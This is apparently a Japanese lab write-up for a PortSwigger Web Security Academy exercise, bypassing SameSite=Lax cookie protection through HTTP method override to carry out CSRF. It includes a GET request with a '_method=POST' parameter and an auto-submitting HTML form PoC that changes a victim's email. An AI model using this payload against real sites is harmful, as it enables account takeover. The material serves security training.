Hello there, ('ω')ノ
SameSite Laxをメソッドオーバーライドすることによるバイパスを。
「メールアドレス変更」機能には、CSRFの脆弱性があり。
ラボを解決するには、提供された攻撃用サーバを使用して、
被害者のメールアドレスを変更するCSRF攻撃を実行して。
以下の資格情報を使用して、自分自身のアカウントにログインできて。
wiener/peter
ログインして。
メールアドレスを変更して。
test@mail.com
リクエストを確認するとユーザを識別しているのはCookieくらいで。
ログイン時のCookieの設定では、特にSameSite の制限が明示的に
指定されていないので、ブラウザはデフォルトの Lax 制限レベルを使用して。
Lax
SameSiteのLax制限は、ブラウザがクロスサイトのリクエストでクッキーを
送信するようになり、次の2つの条件が両方満たされている場合に限って。
リクエストがGETメソッドを使用していること。
リクエストが、ユーザによるトップレベルのナビゲーション
(リンクをクリックするなど)によって結果として生成されたこと。
リクエストをリピータへ。
メソッドをGETへ変更してみると許可されず。
メソッドパラメータを追加してオーバーライドしてみると、うまくいくようで。
GET /my-account/change-email?email=test%40mail.com&_method=POST
このリクエストを発行するPoCを。
「Body」セクションで、HTML/JavaScriptのペイロードを作成して、
被害者のブラウザが悪意のあるGETリクエストを発行するようにして。
セッションクッキーを含めるために、トップレベルのナビゲーションを
引き起こす必要があって。
メールアドレスが重複しないように別のもの(攻撃者のもの)へ変更して。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a5100a603a25754825965ee004c00b3.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="test0@mail.com" />
<input type="hidden" name="_method" value="POST" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
エクスプロイトサーバへ保存し、被害者にエクスプロイトを配信すると。
クリアできて。
Best regards, (^^ゞ